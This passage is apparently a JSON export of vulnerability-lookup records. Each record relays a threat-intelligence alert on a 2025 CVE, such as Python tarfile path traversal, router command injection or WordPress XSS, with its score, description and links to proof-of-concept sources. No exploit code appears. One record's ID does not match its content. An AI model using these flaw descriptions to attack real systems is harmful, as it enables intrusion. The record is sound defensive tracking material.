https://plugins.trac.wordpress.org/browser/custom-facebook-feed/tags/4.3.0/assets/js/cff-scripts.js#L245\n3. https://plugins.trac.wordpress.org/browser/custom-facebook-feed/tags/4.3.0/assets/js/cff-scripts.js#L254", "creation_timestamp": "2025-06-10T11:34:12.000000Z"}, {"uuid": "cba2119b-a635-4993-86ed-5971a5cfc518", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17874", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4517\n\ud83d\udd25 CVSS Score: 9.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L)\n\ud83d\udd39 Description: Allows arbitrary filesystem writes outside the extraction directory during extraction with filter=\"data\".\n\n\nYou are affected by this vulnerability if using the tarfile\u00a0module to extract untrusted tar archives using TarFile.extractall()\u00a0or TarFile.extract()\u00a0using the filter=\u00a0parameter with a value of \"data\"\u00a0or \"tar\". See the tarfile  extraction filters documentation https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter \u00a0for more information.\n\nNote that for Python 3.14 or later the default value of filter=\u00a0changed from \"no filtering\" to `\"data\", so if you are relying on this new default behavior then your usage is also affected.\n\nNote that none of these vulnerabilities significantly affect the installation of source distributions which are tar archives as source distributions already allow arbitrary code execution during the build process. However when evaluating source distributions it's important to avoid installing source distributions with suspicious links.\n\ud83d\udccf Published: 2025-06-03T12:58:50.352Z\n\ud83d\udccf Modified: 2025-06-10T13:25:08.659Z\n\ud83d\udd17 References:\n1. https://github.com/python/cpython/issues/135034\n2. https://github.com/python/cpython/pull/135037\n3. https://mail.python.org/archives/list/security-announce@python.org/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/\n4. https://github.com/python/cpython/commit/3612d8f51741b11f36f8fb0494d79086bac9390a\n5. https://github.com/python/cpython/commit/9e0ac76d96cf80b49055f6d6b9a6763fb9215c2a\n6. https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f\n7. https://github.com/python/cpython/commit/19de092debb3d7e832e5672cc2f7b788d35951da\n8. https://github.com/python/cpython/commit/aa9eb5f757ceff461e6e996f12c89e5d9b583b01\n9. https://github.com/python/cpython/commit/28463dba112af719df1e8b0391c46787ad756dd9\n10. https://github.com/python/cpython/commit/4633f3f497b1ff70e4a35b6fe2c907cbe2d4cb2e\n11. https://github.com/python/cpython/commit/9c1110ef6652687d7c55f590f909720eddde965a\n12. https://github.com/python/cpython/commit/dd8f187d0746da151e0025c51680979ac5b4cfb1", "creation_timestamp": "2025-06-10T13:30:01.000000Z"}, {"uuid": "46649bab-2b42-4ceb-a0f1-b0af04e0e2ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4573", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18068", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4573\n\ud83d\udd25 CVSS Score: 4.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N)\n\ud83d\udd39 Description: Mattermost versions 10.7.x <= 10.7.1, 10.6.x <= 10.6.3, 10.5.x <= 10.5.4, 9.11.x <= 9.11.13 fail to properly validate LDAP group ID attributes, allowing an authenticated administrator with PermissionSysconsoleWriteUserManagementGroups permission to execute LDAP search filter injection via the PUT /api/v4/ldap/groups/{remote_id}/link API when objectGUID is configured as the Group ID Attribute.\n\ud83d\udccf Published: 2025-06-11T10:22:24.103Z\n\ud83d\udccf Modified: 2025-06-11T13:13:11.535Z\n\ud83d\udd17 References:\n1. https://mattermost.com/security-updates", "creation_timestamp": "2025-06-11T13:30:55.000000Z"}, {"uuid": "7a698c13-b244-427c-85c6-8c2ca806dcbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4565", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18472", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4565\n\ud83d\udd25 CVSS Score: 8.2 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: Any project that uses Protobuf Pure-Python backend\u00a0to parse untrusted Protocol Buffers data containing an arbitrary number of recursive groups, recursive messages or a series of SGROUP\u00a0tags can be corrupted by exceeding the Python recursion limit. This can result in a Denial of service by crashing the application with a RecursionError. We recommend upgrading to version =>6.31.1 or beyond commit\u00a017838beda2943d08b8a9d4df5b68f5f04f26d901\n\ud83d\udccf Published: 2025-06-16T14:50:40.906Z\n\ud83d\udccf Modified: 2025-06-16T15:39:18.263Z\n\ud83d\udd17 References:\n1. https://github.com/protocolbuffers/protobuf/commit/17838beda2943d08b8a9d4df5b68f5f04f26d901", "creation_timestamp": "2025-06-16T16:36:08.000000Z"}, {"uuid": "90fa37d6-7bad-4f42-b241-de224c3fa937", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45987", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18289", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45987\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Blink routers BL-WR9000 V2.4.9 , BL-AC2100_AZ3 V1.0.4, BL-X10_AC8 v1.0.5 , BL-LTE300 v1.2.3, BL-F1200_AT1 v1.0.0, BL-X26_AC8 v1.2.8, BLAC450M_AE4 v4.0.0 and BL-X26_DA3 v1.2.7 were discovered to contain multiple command injection vulnerabilities via the dns1 and dns2 parameters in the bs_SetDNSInfo function.\n\ud83d\udccf Published: 2025-06-13T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-13T11:30:20.882Z\n\ud83d\udd17 References:\n1. https://github.com/glkfc/IoT-Vulnerability/blob/main/LB-LINK/LB-LINK_dns1%20Unauthorized%20command%20injection/The%20LB-LINK_dns1%20command%20is%20used%20to%20inject%20the%20information.md", "creation_timestamp": "2025-06-13T11:33:48.000000Z"}, {"uuid": "45a6a557-6409-4921-8bcc-92ece0f74bdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45988", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18288", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45988\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Blink routers BL-WR9000 V2.4.9 , BL-AC2100_AZ3 V1.0.4, BL-X10_AC8 v1.0.5 , BL-LTE300 v1.2.3, BL-F1200_AT1 v1.0.0, BL-X26_AC8 v1.2.8, BLAC450M_AE4 v4.0.0 and BL-X26_DA3 v1.2.7 were discovered to contain multiple command injection vulnerabilities via the cmd parameter in the bs_SetCmd function.\n\ud83d\udccf Published: 2025-06-13T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-13T11:30:21.904Z\n\ud83d\udd17 References:\n1. https://github.com/glkfc/IoT-Vulnerability/blob/main/LB-LINK/LB-LINK_cmd%20Indicates%20the%20unauthorized%20command%20injection/The%20LB-LINK_cmd%20command%20is%20used%20to%20inject%20information.md", "creation_timestamp": "2025-06-13T11:33:47.000000Z"}, {"uuid": "317fbabf-dc08-4495-902c-b17030bfa3ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4586", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18248", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4586\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The IRM Newsroom plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'irmcalendarview' shortcode in all versions up to, and including, 1.2.17 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-06-13T01:47:49.727Z\n\ud83d\udccf Modified: 2025-06-13T01:47:49.727Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/c6210c35-31d7-4a8d-b34f-596977c7a33e?source=cve\n2. https://plugins.trac.wordpress.org/browser/irm-newsroom/trunk/irm-newsroom.php#L467", "creation_timestamp": "2025-06-13T02:34:04.000000Z"}, {"uuid": "51d64f9b-3756-431a-9c4a-f6022aa4f55c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4584", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18254", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4584\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The IRM Newsroom plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'irmeventlist' shortcode in all versions up to, and including, 1.2.17 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-06-13T01:47:46.977Z\n\ud83d\udccf Modified: 2025-06-13T01:47:46.977Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/3895df7a-9f24-45a5-b447-16f214cfbfcc?source=cve\n2. https://plugins.trac.wordpress.org/browser/irm-newsroom/trunk/irm-newsroom.php#L494", "creation_timestamp": "2025-06-13T02:34:13.000000Z"}, {"uuid": "7470eba8-7d7a-4abb-8d5d-0ca3b3f65ba4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4585", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18256", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4585\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The IRM Newsroom plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'irmflat' shortcode in all versions up to, and including, 1.2.17 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-06-13T01:47:45.853Z\n\ud83d\udccf Modified: 2025-06-13T01:47:45.853Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/0da6d357-e55f-4bf6-9cd7-50e3dc712434?source=cve\n2. https://plugins.trac.wordpress.org/browser/irm-newsroom/trunk/irm-newsroom.php#L439", "creation_timestamp": "2025-06-13T02:34:14.000000Z"}, {"uuid": "990a939e-7e3a-4ce8-86cd-02945b9e86e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45984", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18292", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45984\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Blink routers BL-WR9000 V2.4.9, BL-AC1900 V1.0.2, BL-AC2100_AZ3 V1.0.4, BL-X10_AC8 V1.0.5, BL-LTE300 V1.2.3, BL-F1200_AT1 V1.0.0, BL-X26_AC8 V1.2.8, BLAC450M_AE4 V4.0.0 and BL-X26_DA3 V1.2.7 were discovered to contain a command injection vulnerability via the routepwd parameter in the sub_45B238 function.\n\ud83d\udccf Published: 2025-06-13T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-13T11:30:18.203Z\n\ud83d\udd17 References:\n1. https://github.com/glkfc/IoT-Vulnerability/blob/main/LB-LINK/LB-LINK_routepwd%20Indicates%20the%20unauthorized%20command%20injection/LB-LINK_routepwd%20command%20injection.md", "creation_timestamp": "2025-06-13T11:33:50.000000Z"}, {"uuid": "27744098-bb84-4f36-b8ac-2c9484adda8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45985", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18291", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45985\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Blink routers BL-WR9000 V2.4.9 , BL-AC2100_AZ3 V1.0.4, BL-X10_AC8 v1.0.5 , BL-LTE300 v1.2.3, BL-F1200_AT1 v1.0.0, BL-X26_AC8 v1.2.8, BLAC450M_AE4 v4.0.0 and BL-X26_DA3 v1.2.7 were discovered to contain a command injection vulnerability via the bs_SetSSIDHide function.\n\ud83d\udccf Published: 2025-06-13T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-13T11:30:19.167Z\n\ud83d\udd17 References:\n1. https://github.com/glkfc/IoT-Vulnerability/blob/main/LB-LINK/LB-LINK_enable%20Unauthorized%20command%20injection/LB-LINK_enable%20command%20injection.md", "creation_timestamp": "2025-06-13T11:33:49.000000Z"}, {"uuid": "e60d0425-d57b-4541-a4d6-93308daa3757", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45986", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18290", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45986\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Blink routers BL-WR9000 V2.4.9 , BL-AC2100_AZ3 V1.0.4, BL-X10_AC8 v1.0.5 , BL-LTE300 v1.2.3, BL-F1200_AT1 v1.0.0, BL-X26_AC8 v1.2.8, BLAC450M_AE4 v4.0.0 and BL-X26_DA3 v1.2.7 werediscovered to contain a command injection vulnerability via the mac parameter in the bs_SetMacBlack function.\n\ud83d\udccf Published: 2025-06-13T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-13T11:30:20.100Z\n\ud83d\udd17 References:\n1. https://github.com/glkfc/IoT-Vulnerability/blob/main/LB-LINK/LB-LINK_mac%20Unauthorized%20command%20injection/LB-LINK_mac%20command%20injection.md", "creation_timestamp": "2025-06-13T11:33:49.000000Z"}, {"uuid": "5bfc222b-113d-4ff9-a0fa-9a59b3fe0e47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4592", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18364", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4592\n\ud83d\udd25 CVSS Score: 4.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N)\n\ud83d\udd39 Description: The AI Image Lab \u2013 Free AI Image Generator plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.6. This is due to missing or incorrect nonce validation on the 'wpz-ai-images' page. This makes it possible for unauthenticated attackers to update the plugin's API key via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-06-14T08:23:25.234Z\n\ud83d\udccf Modified: 2025-06-14T08:23:25.234Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/61d56713-59af-4ad9-8744-6c6a5e5fe213?source=cve\n2. https://plugins.trac.wordpress.org/browser/ai-image-generator-lab/trunk/includes/admin/admin-page.php#L3", "creation_timestamp": "2025-06-14T08:34:10.000000Z"}, {"uuid": "0a2e58b3-5b57-4374-ba45-fdbffb55207b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18587", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4598\n\ud83d\udd25 CVSS Score: 4.7 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: A vulnerability was found in systemd-coredump. This flaw allows an attacker to force a SUID process to crash and replace it with a non-SUID binary to access the original's privileged process coredump, allowing the attacker to read sensitive data, such as /etc/shadow content, loaded by the original process.\n\nA SUID binary or process has a special type of permission, which allows the process to run with the file owner's permissions, regardless of the user executing the binary. This allows the process to access more restricted data than unprivileged users or processes would be able to. An attacker can leverage this flaw by forcing a SUID process to crash and force the Linux kernel to recycle the process PID before systemd-coredump can analyze the /proc/pid/auxv file. If the attacker wins the race condition, they gain access to the original's SUID process coredump file. They can read sensitive content loaded into memory by the original binary, affecting data confidentiality.\n\ud83d\udccf Published: 2025-05-30T13:13:26.049Z\n\ud83d\udccf Modified: 2025-06-17T13:14:42.207Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2025-4598\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2369242\n3. https://www.openwall.com/lists/oss-security/2025/05/29/3", "creation_timestamp": "2025-06-17T13:39:40.000000Z"}, {"uuid": "452471ac-9da3-4e7a-a780-2ee3d169bad8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45525", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18739", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45525\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A null pointer dereference vulnerability was discovered in microlight.js (version 0.0.7), a lightweight syntax highlighting library. When processing elements with non-standard CSS color values, the library fails to validate the result of a regular expression match before accessing its properties, leading to an uncaught TypeError and potential application crash.\n\ud83d\udccf Published: 2025-06-17T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-18T13:25:20.926Z\n\ud83d\udd17 References:\n1. https://gist.github.com/Rootingg/843368931f70886bed3cf982f10a4424", "creation_timestamp": "2025-06-18T13:40:30.000000Z"}, {"uuid": "03624972-1902-4aa4-a784-ff7346fef607", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45786", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18751", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45786\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Real Estate Management 1.0 is vulnerable to Cross Site Scripting (XSS) in /store/index.php.\n\ud83d\udccf Published: 2025-06-18T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-18T14:17:36.233Z\n\ud83d\udd17 References:\n1. https://updategadh.com/free-projects/real-estate-management/\n2. https://gist.github.com/0xKunAlx0/a80bc7ec5acb2f19daa36257fedbcf11", "creation_timestamp": "2025-06-18T14:41:54.000000Z"}, {"uuid": "5de1a7ef-8d8d-40f5-a22c-7e2380957961", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45661", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18742", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45661\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A cross-site scripting (XSS) vulnerability in miniTCG v1.3.1 beta allows attackers to execute abritrary web scripts or HTML via injecting a crafted payload into the id parameter at /members/edit.php.\n\ud83d\udccf Published: 2025-06-18T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-18T14:29:31.962Z\n\ud83d\udd17 References:\n1. http://ambiguous.aniyu.net/\n2. https://github.com/nekocari/miniTCG\n3. https://github.com/J4cky1028/vulnerability-research/tree/main/CVE-2025-45661", "creation_timestamp": "2025-06-18T14:41:43.000000Z"}, {"uuid": "1dd12a9c-bbf2-4430-bbe2-97e4f7488a3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45784", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18747", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45784\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: D-Link DPH-400S/SE VoIP Phone v1.01 contains hardcoded provisioning variables, including PROVIS_USER_PASSWORD, which may expose sensitive user credentials. An attacker with access to the firmware image can extract these credentials using static analysis tools such as strings or xxd, potentially leading to unauthorized access to device functions or user accounts. This vulnerability exists due to insecure storage of sensitive information in the firmware binary.\n\ud83d\udccf Published: 2025-06-18T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-18T14:25:38.614Z\n\ud83d\udd17 References:\n1. https://www.dlink.com/en/security-bulletin/\n2. https://cybermaya.in/posts/Post-37/", "creation_timestamp": "2025-06-18T14:41:48.000000Z"}, {"uuid": "1f8363ca-81b8-4c92-b086-e4c555e1f3d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4571", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18842", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4571\n\ud83d\udd25 CVSS Score: 5.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N)\n\ud83d\udd39 Description: The GiveWP \u2013 Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to unauthorized view and modification of data due to an insufficient capability check on the permissionsCheck functions in all versions up to, and including, 4.3.0. This makes it possible for authenticated attackers, with Contributor-level access and above, to view or delete fundraising campaigns, view donors' data, modify campaign events, etc.\n\ud83d\udccf Published: 2025-06-19T06:44:48.532Z\n\ud83d\udccf Modified: 2025-06-19T06:44:48.532Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/8f03b4ef-e877-430e-a440-3af0feca818c?source=cve\n2. https://plugins.trac.wordpress.org/browser/give/tags/4.2.0/src/Campaigns/ListTable/Routes/DeleteCampaignListTable.php#L40\n3. https://plugins.trac.wordpress.org/browser/give/tags/4.2.0/src/EventTickets/Routes/UpdateEvent.php#L36\n4. https://plugins.trac.wordpress.org/browser/give/tags/4.2.0/src/Campaigns/ListTable/Routes/GetCampaignsListTable.php#L95\n5. https://plugins.trac.wordpress.org/browser/give/tags/4.2.0/src/Donors/Endpoints/ListDonors.php#L31\n6. https://plugins.trac.wordpress.org/browser/give/tags/4.2.0/src/Donors/Endpoints/Endpoint.php#L57\n7. https://plugins.trac.wordpress.org/browser/give/tags/4.2.0/src/API/Endpoints/Logs/GetLogs.php#L40\n8. https://plugins.trac.wordpress.org/browser/give/tags/4.2.0/src/API/Endpoints/Logs/Endpoint.php#L26\n9. https://plugins.trac.wordpress.org/changeset/3305112/", "creation_timestamp": "2025-06-19T07:41:41.000000Z"}, {"uuid": "e0321082-d5f8-4779-875f-53fa17fae500", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45890", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19001", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45890\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Directory Traversal vulnerability in novel plus before v.5.1.0 allows a remote attacker to execute arbitrary code via the filePath parameter\n\ud83d\udccf Published: 2025-06-20T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-20T16:04:32.513Z\n\ud83d\udd17 References:\n1. https://github.com/SecureCore1/CVE/blob/main/novel-plus/readme.md", "creation_timestamp": "2025-06-20T16:45:03.000000Z"}, {"uuid": "44681275-e8e5-4600-b7ca-c723ace0c9d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45331", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19365", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45331\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: brplot v420.69.1 contains a Null Pointer Dereference (NPD) vulnerability in the br_dagens_handle_once function of its data processing module, leading to unpredictable program behavior, causing segmentation faults, and program crashes.\n\ud83d\udccf Published: 2025-06-20T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-24T15:29:25.265Z\n\ud83d\udd17 References:\n1. https://github.com/branc116/brplot/commit/b90e93a0e0d514d48f38d1584496130fa5fe4fe4\n2. https://gist.github.com/QiuYitai/9dd6db6e9dfc03868b9c886b801502ac", "creation_timestamp": "2025-06-24T15:47:08.000000Z"}, {"uuid": "96dc3c09-41a2-4b30-9fad-9da18af2dde9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45879", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19402", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45880\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A cross-site scripting (XSS) vulnerability in the data resource management function of Miliaris Amigdala v2.2.6 allows attackers to execute arbitrary HTML in the context of a user's browser via a crafted payload.\n\ud83d\udccf Published: 2025-06-17T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-24T20:07:48.101Z\n\ud83d\udd17 References:\n1. https://www.miliaris.it/\n2. https://xaliom.blogspot.com/2025/06/cve-2025-45878cve-2025-45879-and-cve.html\n3. https://packetstorm.news/files/cve/CVE-2025-45880", "creation_timestamp": "2025-06-24T20:47:56.000000Z"}, {"uuid": "1588a901-f90d-4831-9281-ba74298b51cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45332", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19502", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45332\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: vkoskiv c-ray 1.1 contains a Null Pointer Dereference (NPD) vulnerability in the parse_mtllib function of its data processing module, leading to unpredictable program behavior, causing segmentation faults, and program crashes.\n\ud83d\udccf Published: 2025-06-25T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-25T18:31:12.476Z\n\ud83d\udd17 References:\n1. https://github.com/vkoskiv/c-ray/issues/119\n2. https://gist.github.com/QiuYitai/6ebfa07510828a9464ba7fb948255ed5", "creation_timestamp": "2025-06-25T18:51:42.000000Z"}, {"uuid": "ad1b5b70-f10e-4e7c-980f-31bdfb64c604", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45931", "type": "published-proof-of-concept", 